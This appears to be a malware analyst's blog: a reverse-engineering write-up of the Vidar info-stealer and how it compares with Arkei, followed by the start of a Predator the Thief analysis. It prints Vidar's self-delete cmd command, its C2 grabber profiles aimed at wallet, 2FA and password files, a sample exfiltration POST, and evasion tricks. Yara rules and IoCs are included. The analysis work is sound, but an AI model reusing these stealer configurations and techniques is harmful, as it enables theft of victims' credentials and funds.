The grabber feature is by far, the most complicated feature of the malware and what he looks to be really different from Arkei, in term of implementation.

So first of all, it will skip or not the grabber feature by checking in config file downloaded, if this is activated. Preparing the strings for creating the folder path and when all is set func_grabber could be used.

vidar_grabber_01

When inspecting the func_grabber, I was not prepared to have this :

vidar_grabber_02

By far, when I saw this, I was not really happy to reverse this. I mean, I know I was falling in some unexpected allocated memory into my brain. I had all the magnificent stuff that all malware reverser love (or not at all) :

  • Weird conditions come out the blue.
  • Calling function that will call other functions like Russian wooden dolls
  • API calls
  • etc...

But if we are watching these at a macro view, it's, in fact, easier than it looks like. I will just show just one example.

So in the example below, if the string %APPDATA% is present in the config downloaded from the C2. it will enter into the function and will start a bunch of verifications. Until entering into the most important one called func_VidarSearchFile

vidar_grabber_03

After the process will remain almost the same for each scenario.

This is at least, all the repositories available in the grabber feature :

  • %ALL_DRIVES% (GetDriveTypeA Necessary)
  • %APPDATA%
  • %C%
  • %D%
  • %DESKTOP%
  • %DOCUMENTS%
  • %DRIVE_FIXED%
  • %DRIVE_REMOVABLE%
  • %LOCALAPPDATA%
  • %USERPROFILE%

Screenshot

The generation of the screenshot is easy to understand :

  • First GdiplusStartup function is called to initialize the Windows GDI+
  • Then an alternative to GetDeviceCaps is called for getting the height of the screen on the display monitor with the value SM_CYSCREEN (1) with GetSystemMetrics this will be the same thing with SM_CXSCREEN (0) for the width.

vidar_screenshot_01

  • Now, it needs a DC object for creating a compatible bitmap necessary to generate our image by selecting the windows DC into the compatible memory DC and using a Bit Block API function to transfer the data. When all is done, it will enter into func_GdipSaveImageToFile

vidar_screenshot_03

So now its needed to collect the bits from the generated bitmap and copies them into a buffer that will generate the screen capture file.

vidar_screenshot_04

Information Log

So let's dig into information.txt, to understand how this file is generated. I will mention only some parts of the creation, another part will be just the corresponded API call, breakpoint on these API if you want to take your time to analyze all the step easily.

First, it indicates which version of Vidar is used.

vidar_version

If you don't see a Vidar on the log file. It means that you have an early version of it.

Date GetSystemTimeAsFileTime
MachineID Explained Above
GUID GetCurrentHwProfileA
Path GetModuleFileNameExA
Work Dir Hardcoded string + func_FolderNameGeneration

Get the name of the operating system and platform is classic because this is, in fact, a concatenation of two things. First, with RegOpenKeyExA, the value of this registry key is fetched:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName

Secondly, for knowing if Windows is 32 or 64-bit, it checks itself if is running on WOW64 with the help of IsWow64Process.

vidar_platform

Computer Name GetComputerNameA
User Name GetUserNameA

For the current screen resolution used, CreateDCA is called to create a device context for "Display" and requesting the Width and Height of the Device with GetDeviceCaps.

vidar_device

This remains to this source code :

HDC hDC = CreateDCA("DISPLAY", NULL, NULL, NULL);  
int width = GetDeviceCaps(hDC, HORZRES); // HORZRES = 0x8
int height = GetDeviceCaps(hDC, VERTRES); // VERTRES = 0x0A

Let's continue our in-depth analysis...

Display Language GetUserDefaultLocaleName
Keyboard Languages GetKeyboardLayoutList / GetLocaleInfoA
Local Time GetSystemTimeAsFileTime
TimeZone TzSpecificLocalTimeToSystemTime

Hardware

??? the process name, the value of the registry key  is fetched:

HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\ProcessorNameString
CPU Count GetSystemInfo.dwNumberOfProcessors
RAM GlobalMemoryStatusEx
VideoCard EnumDisplayDevicesW

Network

The network part is quite easy, it's a translation of data retrieves on ip-api.com/line/ and put into the log, at the corresponding place.

Vidar_network

Processes

There is quite soft stuff done to get a snapshot of all the processes at the time where the stealer is executed.

vidar_process_snapshot

But in the end, this is not complicated at all to understand the different steps.

vidar_process_snapshot_01

After, checking if it's a parent process or a child process, Vidar will grab two value of the PROCESSENTRY32 object :

  • th32ProcessID: PID
  • szExeFile: The name of the PE

vidar_process_snapshot_02

Software

For the list of all installed software, the value of this registry key is fetched:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

And these values are retrieves of each software.

  • DisplayName
  • DisplayVersion

vidar_software_list

Results

So for example, if you want to see the results, let's see into one sandbox analysis, the generated information.txt (this is a Vidar 4.2 here)

Vidar Version: 4.2

Date: Thu Dec 13 14:39:05 2018
MachineID: 90059c37-1320-41a4-b58d-2b75a9850d2f
GUID: {e29ac6c0-7037-11de-816d-806e6f6e6963}

Path: C:\Users\admin\AppData\Local\Temp\toto.exe 
Work Dir: C:\ProgramData\LDGQ3MM434V3HGAR2ZUK

Windows: Windows 7 Professional [x86]
Computer Name: USER-PC
User Name: admin
Display Resolution: 1280x720
Display Language: en-US
Keyboard Languages: English (United States)
Local Time: 13/12/2018 14:39:5
TimeZone: UTC-0

[Hardware]
Processor: Intel(R) Core(TM) i5-6400 CPU @ 2.70GHz
CPU Count: 4
RAM: 3583 MB
VideoCard: Standard VGA Graphics Adapter

[Network]
IP: 185.230.125.140
Country: Switzerland (CH)
City: Zurich (Zurich)
ZIP: 8010
Coordinates: 47.3769,8.54169
ISP: M247 Ltd (M247 Ltd)

[Processes]
- System [4]
---------- smss.exe [264]
- csrss.exe [344]
< ... >

[Software]
Adobe Flash Player 26 ActiveX [26.0.0.131]
Adobe Flash Player 26 NPAPI [26.0.0.131]
Adobe Flash Player 26 PPAPI [26.0.0.131]
< ... >

Loader

The task is rudimentary but enough to do the job :

  • Generating a random name for the downloaded payload
  • Download the payload
  • Execute

vidar_loader_01

When the binary file is downloaded from the C2, it's using CreateFileA with specific parameters :

  • edi : The downloaded data from the C2
  • 80h : "The file does not have other attributes set. This attribute is valid only if used alone."
  • 2 : This option will force the overwriting if the filename already exists.
  • edi : ???
  • 1 : "Enables subsequent open operations on a file or device to request read access."

    Otherwise, other processes cannot open the file or device if they request read access."

  • 40000000h : Write access (GENERIC_WRITE)
  • ebp+lpFileName : The generated filename 

When it's done, it only needs to Write content into the files (WriteFile) and then close the corresponding handle (CloseHandle)

vidar_loader_02

So now, the file is downloaded and saved into the disk, it only needs to be launched with ShellExecuteA. So don't hesitate to breakpoint this API function, for grabbing the payload before it's too late for further analysis.

Killing Part

So when all the task of the stealer is finally accomplished and cleaned, the stealer needs to erase itself. So first of all, it retrieves this own PID with the help of GetCurrentProcessId.

erase_vidar_payload_01

When it's done, it enters into "func_GetProcessIdName", tries to open a handle on his own process with OpenProcess, if it failed, it continues to check and in the end the most important task here is to call GetModuleBaseNameA, which it permits to retrieve the name of the process name with the help of the PID that was obtained before.

erase_vidar_payload_02

Some strings that are hardcoded on .rdata section are called and saved for future purposes.

vidar_strings_exit

When the request is finely crafted, Vidar is simply using ShellExecuteA to pop a command shell and executing the task, this permit to erase all trace of the interaction of the payload on the machine.

erase_vidar_payload_03

So if we want a quick overview of the executed command:

C:\Windows\System32\cmd.exe" /c taskkill /im vidar.exe /f & erase C:\Users\Pouet\AppData\Local\Temp\vidar.exe & exit

Literally:

Offset File + db '/c taskkill /im' + [GetModuleBaseNameA] + db ' /f & erase'  + [GetModuleFileNameExA + GetModuleBaseNameA]+  + db ' & exit'

Sending archive to the C2

Folder generation

COUNTRY + "_" + Machine GUID + ".zip"

in example :

NG_d6836847-acf3-4cee-945d-10c9982b53d1.zip

Last POST request

During the generation of the POST request, the generated HTTP packet is tweaked to add some additional content that the C2 server will read and process data.

vidar_post_request

Each name at the end of the string will be the corresponding field to be saved into the database. This at least, all the different Content-Disposition that will be added to the HTTP request.

hwid Hardware ID
os Operating System
platform 32 or 64 bits System
profile C2 Profile ID
user Name of the victim account
cccount Number of Credit Cards stolen
ccount Number of Coins Stolen (CryptoWallet)
fcount Number of files stolen
telegram Telegram 🙂
ver The version of the Vidar malware

Also, there is a little trick here that I found nice. Here, the answer to the POST request is in fact, containing the config for the loader.

  • If there is nothing, the response is "ok"
  • If there is something, the specified url(s) are stored.

POST

Its the same thing used for the config and the network information.

Example with a sandbox :

  • The POST request

archive_post

  • The response of this POST request (select the tab)

Answer_POST

Server-Side

Because it's easy to find some information about the stealer, no needs to dig hard to have some marketplace where Vidar is sold. So let's see how it looks like by looking some classical commercial video (all the screenshot are collected from there), for attracting some possible customers. This could be completely different at that time, but it's what it was looking like at the beginning of November.

Login

Vidar_login

Dashboard

The panel is a classical fancy user-friendly interface, with all the basic information necessary for the customer to have a fast view how is goin' his business.

  • The current version of the builder
  • Until when he is able to generate some payloads
  • How many victims
  • The current balance on his account to re-subscribe again

ultra_hacks_dashboard

Logs

something to mention with the log part is that it's possible to put some notes on each data.

ultra_hacks_logs

Passwords

ultra_hacks_passwords

Builder

The builder tab is also pretty interesting because we have the changelog information about the stealer and on the download part, the malware generated will not be packed and this is the same scenario with Arkei.

Customer/Threat actor must have to use his own crypter/packer software for his payload.

ultra_hacks_services

Settings

The most important tab is obviously where it is possible to configure the payload, for grabbing some additional stuff on the machine with the profiles. Activate or deactivate some features to filtering the stealer for really specific purposes.

It's also important to notify, that it's possible with Vidar to deploy multiple profiles at the same time. It means when the payload is infecting the victim machine, X archive for X profile is saved in "files" repository. The customer could be able to sort easily for malicious purposes after the grabbed data.

ultra_hacks_settings

When editing or creating a new rule, we have this prompt panel appearing and this is in relation with what explained above with all possible path that the malware is able to search with the selected files.

vidar_edit_rule

After checking a little, there is plenty of profiles on the C2. This is what we could found:

Default empty config:

1,1,1,1,1,1,1,1,0,1,250,none;

Default initialized config:

1,1,1,1,1,1,1,1,1,1,250,Default;%DESKTOP%\;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*;50;true;movies:music:mp3;

Examples of custom profiles:

1,1,1,1,1,1,1,1,1,1,250,grabba;%DESKTOP%\;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*;100;true;movies:music:mp3;
1,1,0,1,1,1,1,1,1,1,250,инфа;%DESKTOP%\;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*;50;true;movies:music:mp3;
1,1,1,1,1,1,1,1,1,1,250,Первое;%DESKTOP%\;*.txt:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*;50;true;movies:music:mp3;
1,1,1,1,1,1,1,1,1,1,250,123435566;%DESKTOP%\;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*;50;true;movies:music:mp3;
1,1,1,1,1,1,1,1,1,1,250,Default;%DESKTOP%\;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*;50;true;movies:music:mp3;

There are also some possibilities to see multiple profiles executed at the same time.

1,1,1,1,1,1,0,1,1,1,250,
DESKTOP;%DESKTOP%\;*.txt:*.dat:*wallet*.*:*2fa*.*:*2fa*.png:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*:*seed*.*:*pass*.*:*btc*.*:*coin*.*:*poloniex*.*:*kraken*.*:*cex*.*:*okex*.*:*binance*.*:*bitfinex*.*:*bittrex*.*:*gdax*.*:*private*.*:*upbit*.*:*bithimb*.*:*hitbtc*.*:*bitflyer*.*:*kucoin*.*:*API*.*:*huobi*.*:*coinigy*.*:*jaxx*.*:*electrum*.*:*exodus*.*:*neo*.*:*yobit*.*:*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*crypt*.*:*key*.*:*seed*.*:*pass*.*:*btc*.*:*coin*.*:*poloniex*.*:*kraken*.*:*cex*.*;100;true;movies:music:mp3:dll;
DOCUMENTS;%DOCUMENTS%\;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*:*seed*.*:*pass*.*:*btc*.*:*coin*.*:*poloniex*.*:*kraken*.*:*cex*.*:*okex*.*:*binance*.*:*bitfinex*.*:*bittrex*.*:*gdax*.*:*private*.*:*upbit*.*:*bithimb*.*:*hitbtc*.*:*bitflyer*.*:*kucoin*.*:*API*.*:*huobi*.*:*coinigy*.*:*jaxx*.*:*electrum*.*:*exodus*.*:*neo*.*:*yobit*.*:*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*crypt*.*:*key*.*:*seed*.*:*pass*.*:*btc*.*:*coin*.*:*poloniex*.*:*kraken*.*:*cex*.*;100;true;movies:music:mp3:dll;
DRIVE_REMOVABLE;%DRIVE_REMOVABLE%\;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*:*seed*.*:*pass*.*:*btc*.*:*coin*.*:*poloniex*.*:*kraken*.*:*cex*.*:*okex*.*:*binance*.*:*bitfinex*.*:*bittrex*.*:*gdax*.*:*private*.*:*upbit*.*:*bithimb*.*:*hitbtc*.*:*bitflyer*.*:*kucoin*.*:*API*.*:*huobi*.*:*coinigy*.*:*jaxx*.*:*electrum*.*:*exodus*.*:*neo*.*:*yobit*.*:*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*crypt*.*:*key*.*:*seed*.*:*pass*.*:*btc*.*:*coin*.*:*poloniex*.*:*kraken*.*:*cex*.*;100;true;movies:music:mp3:dll;

they are in fact Delimited with the specific format, as detailed as above. So here, we have 3 profiles :

  • DESKTOP
  • DOCUMENTS
  • DRIVE_REMOVABLE

that will be stored into there respectively archives into "files" repository.

e.d: All dumped profiles are available on my GitHub repository.

Finally, with this quick analysis of the panel, something that is more and more common nowadays with a stealer, a loader feature, for pushing other malware.

As mentioned in the introduction, this is a shop where customers will just have to deal to configure their malware, everything is managed by a team (?) behind for the maintenance and for avoiding proxy filtering stuff, domains are changed regularly (it's also easy to check this on the samples, because it looks like a new version means a new generated domain).

vidar_infos_02

Also, there is some possibility (of what they said) to have a 2FA Authentication to their account page.

vidar_infos

Some fancy message

if we are searching for some stuff with the login panel, with have some sympathetic message.

vidar_https

Let's see what we have behind 🙂

vidar_easter_egg.png

A kind of easter egg to remind us what is the signification of Vidar: "the God of Vengeance" in Nordic mythology.

Vidar - An Arkei copycat?

If we are looking to requests and code, Vidar is almost identical to Arkei. There is slightly some differences at some point but all implemented features are the same. This could lose some blue team people if they don't make too much attention to it on sandbox results. Current Yara rules will trigger Vidar as Arkei, so automated assignations lead to mistakes at the moment of this review. Analyzing the code is mandatory here to understand what's goin' on.

At first, the main function for both of them is similar :

Main_Arkei_Vidar

The archive generation is also the same, so this is not with this information that it's possible to differentiate these two malware.

Code differences

An easy to know if we are dealing with Vidar is to find "Vidar.cpp".

VidarCpp

Vidar Signature

vidar_arkei_signature_02

Arkei signature

vidar_arkei_signature

Network differences

An analyst can be dupe easily with the requests and thinking that we have another form of HTTP requests with Arkei, but it's not.

Vidar HTTP Requests

/ (i.e 162)    <- Config
ip-api.com/line/    <- Get Network Info
/msvcp140.dll       <- Required DLL
/nss3.dll           <- Required DLL
/softokn3.dll       <- Required DLL
/vcruntime140.dll   <- Required DLL
/                   <- Pushing Victim Archive to C2

there are no libraries downloaded on Arkei, this is something really specific to Vidar, for some parts of the stealing process.

Arkei HTTP Requests

/index.php        <- Config
ip-api.com/line/  <- Get Network Info
/index.php        <- Pushing Victim Archive to C2

Config Format

config_differences_arkei_vidar

If you want to understand what is the purpose the config format for Arkei

1 Saved Passwords
1 Cookies / Autofill
1 History
2 CryptoCurrency
2 Skype
2 Steam
1 Telegram
1 Screenshot
1 Grabber
txt:log: Grabber Config
50 Max Size (kb)
2 Self Delete

Also, there are some slight changes in the last POST requests, Vidar is just adding new fields like the profile and the versioning.

To understand how far the requests looks the same, let's dig into a PCAP file. I indicated the differences in red, and apart from the versioning and profile values, all rest is the same. But if we dig into some older sample, it's impossible to see the differences except the path of the request.

Last POST request - Vidar

POST / HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A
Content-Length: 66809
Host: some.lovely.vidar.c2.with.love
Connection: Keep-Alive
Cache-Control: no-cache

--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="hwid"

90059c37-1320-41a4-b58d-2b75a9850d2f
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="os"

Windows 7 Professional
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="platform"

x86
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="profile"

XXX <- Random Int
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="user"

admin
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="cccount"

0
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="ccount"

0
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="fcount"

0
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="telegram"

0
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="ver"

4.1
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="logs"; filename="COUNTRY_.zip"
Content-Type: zip

Features differences

When we dig into the different features, there is some config part on Vidar that is in fact just some placebo options. in an example, the Steam stealing feature is implemented in Arkei is not found in Vidar. This is also the same thing with Skype but in contrary 2FA stealing stuff is only on Vidar (with what I have seen on samples in my possession).

vidar_missing_part

Strings only present in Arkei and not in the Vidar that I analyzed

Is Arkei still active and maintained?

On one of the selling page of this stealer, it's still sold and continue to be updated. For example, it reveals that soon a final update on it will be pushed (v10). So let's see how this will turn.

Arkei_updates

The Vidar Cracked Version

There is also in the wild a cracked version that was already spotted by some people on twitter. This Vidar or "Anti-Vidar" as called in the source code of the panel and It's based on an early Vidar build (v2.3 it seems).

Login

The login is identical to the Android Lokibot panel (thanks to @siri_urz). As always when confronted at this kind of stuff, the code never lies (or it seems) for helping us to identify what is the real C2/Malware.

Auth_Vidar_Cracked

Profile code

The profile is far more simple than the nowadays panels and samples, the default profile is hardcoded on the PHP file, and will get it if the value is 11.

IoCs

SHA256 Hashes

3A20466CC8C07638B8882CCC9B14C08F605F700F03D388CF85B2E76C51D64D65 0E982A02D754588D4EE99F30084B886B665FF04A1460D45C4FD410B04B10A8AF 2679FA8E9FD0C1F6F26527D53759BB596FDA43A741B4DFCC99A8C0907836A835 9EC586B07961E0C93C830DD1C47598FE21277432F11809A4B73DF7370CDD2E29 42C6950CA57D8805C217E3334158DAB4CC71A50C94D77F608B1C442BFD2B01CA D71F81EDF8AC04639D3B7C80AA178DF95C2CBFE73F81E931448A475FB771267A DAD5FCEAB002791DD6FD575782C173F1A39E0E7CE36E6DE1BAEFA95D0A8FB889 66162E69CA30A75E0DD1A6FBB9028FCFBE67B4ADE8E844E7C9FF2DCB46D993D8 EFF272B93FAA1C8C403EA579574F8675AB127C63ED21DB3900F8AB4FE4EC6DA9 EDBAC320C42DE77C184D30A69E119D27AE3CA7D368F802D2F8F1DA3B8D01D6DD B1D5B79D13F95A516ABBCC486841C8659984E5135F1D9C74343DCCD4390C3475 543AEE5A5435C77A8DE01433079F6381ADB4110F5EF4350E9A1A56B98FE40292 65B2BD17E452409397E2BD6F8E95FE8B708347D80074861698E4683BD12437A9 47E89F2C76D018D4952D421C5F1D603716B10E1712266DA32F63082F042F9C46 5D37323DA22C5414F6E03E06EFD184D7837D598C5E395E83C1BF248A7DE57155 5C0AF9C605AFD72BEF7CE8184BCCC9578EDB3A17498ACEBB74D02EB4AF0A6D2E 65287763245FDD8B56BB72298C78FEA62405BD35794A06AFBBE23CC5D38BE90A 20E92C2BF75C473B745617932F8DC0F8051BFC2F91BB938B2CC1CD808EBBC675 C752B68F3694B2FAAB117BCBA36C156514047B75151BBBFE62764C85CEF8ADE5 AE2EBF5B5813F92B0F7D6FCBADFA6E340646E4A776163AE86905E735A4B895A0 8F73E9C44C86D2BBADC545CED244F38472C5AACE0F75F57C8FC2398CE0A7F5A1

thx @benkow_ for the help to find some samples 🙂

Domains

malansio.com
nasalietco.com
binacoirel.com
newagenias.com
bokolavrstos.com
naicrose.com
benderio.com
cool3dmods.com

MITRE ATT&CK

 

Yara Rules

Vidar

rule Vidar_Stealer : Vidar 
{
    meta:
        description = "Yara rule for detecting Vidar stealer"
        author = "Fumik0_"

    strings:
        $mz = { 4D 5A }

        $s1 = { 56 69 64 61 72 }
        $s2 = { 31 42 45 46 30 41 35 37 42 45 31 31 30 46 44 34 36 37 41 }
    condition:
        $mz at 0 and ( (all of ($s*)) )
}

rule Vidar_Early : Vidar 
{
    meta:
        description = "Yara rule for detecting Vidar stealer - Early versions"
        author = "Fumik0_"

    strings:
        $mz = { 4D 5A }
        $s1 =  { 56 69 64 61 72 }
        $hx1 = { 56 00 69 00 64 00 61 00 72 00 2E 00 63 00 70 00 70 00 }
    condition:
         $mz at 0 and all of ($hx*) and not $s1
}

rule AntiVidar : Vidar 
{
    meta:
        description = "Yara rule for detecting Anti Vidar - Vidar Cracked Version"
        author = "Fumik0_"

    strings:
        $mz = { 4D 5A }
        $s1 = { 56 69 64 61 72 }
        $hx1 = { 56 00 69 00 64 00 61 00 72 00 2E 00 63 00 70 00 70 00 }
        $hx2 = { 78 61 6B 66 6F 72 2E 6E  65 74 00 }
    condition:
         $mz at 0 and all of ($hx*) and not $s1
}

Arkei

 rule Arkei : Arkei
rule Arkei : Arkei
{
     meta:
          Author = "Fumik0_"
          Description = "Rule to detect Arkei"
          Date = "2018/12/11"

      strings:
          $mz = { 4D 5A }

          $s1 = "Arkei" wide ascii
          $s2 = "/server/gate" wide ascii
          $s3 = "/server/grubConfig" wide ascii
          $s4 = "\\files\\" wide ascii
          $s5 = "SQLite" wide ascii

          $x1 = "/c taskkill /im" wide ascii
          $x2 = "screenshot.jpg" wide ascii
          $x3 = "files\\passwords.txt" wide ascii
          $x4 = "http://ip-api.com/line/" wide ascii
          $x5 = "[Hardware]" wide ascii
          $x6 = "[Network]" wide ascii
          $x7 = "[Processes]" wide ascii

          $hx1 = { 56 00 69 00 64 00 61 00 72 00 2E 00 63 00 70 00 70 00 }


     condition:
          $mz at 0 and
          ( (all of ($s*)) or ((all of ($x*)) and not $hx1))
}

Github

Recommendations

This is, as usual, the same thing that I said about my precedent blog post.

  • Always running stuff inside a VM, be sure to install a lot of stuff linked to the hypervisor (like Guest Addons tools)  to trigger as much as possible all kind of possible Anti-VM detection and closing malware.
  • When you have done with your activities stop the VM and restore it with a Specific clean snapshot.
  • Avoid storing files at a pre-destined path (Desktop, Documents, Downloads), put at a place that is not common.
  • Don't be stupid to click on cracks on youtube, hack software for popular games, or "wonderful" easy cash money (like Free Bitcoin Program /facepalm).
  • Flush your browser after each visit, never saved your passwords directly on your browser or using auto-fill features.
  • Don't use the same password for all your websites (use 2FA and it's possible).

Conclusion

This analysis was a kind of a mystery game. It's hard to understand if Vidar is an evolution of Arkei or a forked malware based on his code. As far it seems this is currently an active one and growing up. A lot of updates are pushed on it regularly probably due because this is a young (forked/copycat) malware. With the fact, that this stealer was also using the skin theme of Android Lokibot (due to the cracked version), this could really lose some minds for identifying what is the correct name of the C2, without any samples to analyze. For now, let's see with the time if we will more answers to put the puzzle together for this stealer. ¯\_(ツ)_/¯

On my side, if I could sum up this year. I have done way more things than I could imagine because 2018 was a really "reaaalllyyyy" thought year, with a lot of problems and huge issues. Let's see how this next year will be. But now, it's time to rest and eat because there were so many sleep hours destroy and skip meals this year for learning stuff.

Special thanks to my buddies (they will know who they are), you are the best <3

break_time_umaru

#HappyHunting
#SeeYouIn2019

Predator The Thief: In-depth analysis (v2.3.5)

15 October 2018 at 13:46
By: fumko

Well, it's been a long time without some fresh new contents on my blog. I had some unexpected problems that kept me away from here and a lot of work (like my tracker) that explain this. But it's time to come back (slowly) with some stuff.

So today, this is an In-Depth analysis of one stealer: "Predator the thief", written in C/C++. Like dozen others malware, it's a ready to sell malware delivered as a builder & C2 panel package.

The goal is to explain step by step how this malware is working with a lot of extra explanations for some parts. This post is mainly addressed for junior reverse engineers or malware analysts who want for future purposes to understand and defeat some techniques/tricks easily.

So here we go!

Classical life cycle

The execution order is almost the same, for most of the stealers nowadays. Changes are mostly varying between evading techniques and how they interact with the C2.  For example, with Predator, the set up is quite simple but could vary if the attacker set up a loader on his C2.

Diagram

The life cycle of Predator the thief

Preparing the field

Before stealing sensitive data, Predator starts by setting up some basics stuff to be able to work correctly. Almost all the configuration is loaded into memory step by step.

EntryPoint

So let's put a breakpoint at "0x00472866" and inspect the code...

Call_Setup

  1. EBX is set to be the length of our loop (in our case here, it will be 0x0F)
  2. ESI have all functions addresses storedESI_Addresses
  3. EAX, will grab one address from ESI and moves it into EBP-8
  4. EBP is called, so at this point, a config function will unpack some data and saved it into the stack)
  5. ESI position is now advanced by 4
  6. EDI is incremented until reaching the same value as stored EBX
  7. When the EDI == EBX, it means that all required configuration values are stored into the stack. The main part of the malware could start

So, for example, let's see what we have  inside 0040101D at 0x00488278

So with x32dbg, let's see what we have... with a simple command

Command: go 0x0040101D

As you can see, this is where the C2 is stored, uncovered and saved into the stack.

C2

So what values are stored with this technique?

  • C2 Domain
  • %APPDATA% Folder
  • Predator Folder
  • temporary name of the archive predator file and position
  • also, the name of the archive when it will send to the C2
  • etc...

With the help of the %APPDATA%/Roaming path, the Predator folder is created (\ptst). Something notable with this is that it's hardcoded behind a Xor string and not generated randomly. By pure speculation, It could be a shortcut for "Predator The STealer".

This is also the same constatation for the name of the temporary archive file during the stealing process: "zpar.zip".

The welcome message...

When you are positioned at the main module of the stealer, a lovely text looped over 0x06400000 times is addressed for people who want to reverse it.

welcome

Obfuscation Techniques

The thief who loves XOR (a little bit too much...)

Almost all the strings from this stealer sample are XORed, even if this obfuscation technique is really easy to understand and one of the easier to decrypt. Here, its used at multiple forms just to slow down the analysis.

GetProcAddress Alternatives

For avoiding to call directly modules from different libraries, it uses some classic stuff to search step by step a specific API request and stores it into a register. It permits to hide the direct call of the module into a simple register call.

So firstly,  a XORed string (a DLL) is decrypted.  So for this case, the kernel32.dll is required for the specific module that the malware wants to call.

Step_1_API

When the decryption is done, this library is loaded with the help of "LoadLibraryA". Then, a clear text is pushed into EDX: "CreateDirectoryA"... This will be the module that the stealer wants to use.

The only thing that it needs now, its to retrieve the address of an exported function "CreateDirectoryA" from kernel32.dll. Usually, this is done with the help of GetProcAddress but this function is in fact not called and another trick is used to get the right value.

Step_2_API

So this string and the IMAGE_DOS_HEADER of kernel32.dll are sent into "func_GetProcesAddress_0". The idea is to get manually the pointer of the function address that we want with the help of the Export Table. So let's see what we have in the in it...

struct IMAGE_EXPORT_DIRECTORY {
	long Characteristics;
	long TimeDateStamp;
	short MajorVersion;
	short MinorVersion;
	long Name;
	long Base;
	long NumberOfFunctions;
	long NumberOfNames;
	long *AddressOfFunctions;    <= This good boy
	long *AddressOfNames;        <= This good boy 
	long *AddressOfNameOrdinals; <= This good boy
}

After inspecting the structure de IMAGE_EXPORT_DIRECTORY, three fields are mandatory :

  • AddressOfFunctions - An Array who contains the relative value address (RVA) of the functions of the module.
  • AddressOfNames - An array who stores with the ascending order of all functions from this module.
  • AddressOfNamesOrdinals - An 16 bits array who contains all the associated ordinals of functions names based on the AddressOfNames.

source

So after saving the absolute position of these 3 arrays, the loop is simple

Function_Get

  1. Grab the RVA of one function
  2. Get the name of this function
  3. Compare the string with the desired one.

So let's see in details to understand everything :

If we dig into ds:[eax+edx*4], this where is stored all relative value address of the kernel32.dll export table functions.

RVA
With the next instruction add eax,ecx. This remains to go at the exact position of the string value in the "AddressOfNames" array.

DLLBaseAddress + AddressOfNameRVA[i] = Function Name 
   751F0000    +       0C41D4        = CreateDirectoryA

Address of names

The comparison is matching,  now it needs to store the "procAddress.  So First the Ordinal Number of the function is saved. Then with the help of this value, the Function Address position is grabbed and saved into ESI.

ADD           ESI, ECX
ProcAddress = Function Address + DLLBaseAddress

In disassembly, it looks like this :

GetProcAddress

Let's inspect the code at the specific procAddress...

Check_01

Step_END_API

So everything is done, the address of the function is now stored into EAX and it only needs now to be called.

Anti-VM Technique

Here is used a simple Anti-VM Technique to check if this stealer is launched on a virtual machine. This is also the only Anti-Detection trick used on Predator.

Anti_VM_01

First, User32.dll (Xored) is dynamically loaded with the help of "LoadLibraryA", Then "EnumDisplayDevicesA" module is requested with the help of User32.dll. The idea here is to get the value of the "Device Description" of the current display used.

When it's done, the result is checked with some values (obviously xored too) :

  • Hyper-V
  • VMware
  • VirtualBox

regedit_hyperv

If the string matches, you are redirected to a function renamed here "func_VmDetectedGoodBye.

How to By-Pass this Anti-VM technique?

For avoiding this simple trick, the goal is to modify the REG_SZ value of "DriverDesc" into {4d36e968-e325-11ce-bfc1-08002be10318} to something else.

regedit_bypass

And voilà!

Troll

Stealing Part

Let's talk about the main subject... How this stealer is organized... As far I disassemble the code, this is all the folders that the malware is setting on the "ptst" repository before sending it as an archive on the C2.

  • Folder
    • Files: Contains all classical text/documents files at specifics paths
    • FileZilla: Grab one or two files from this FTP
    • WinFTP: Grab one file from this FTP
    • Cookies: Saved stolen cookies from different browsers
    • General: Generic Data
    • Steam: Steal login account data
    • Discord: Steal login account data
  • Files
    • Information.log
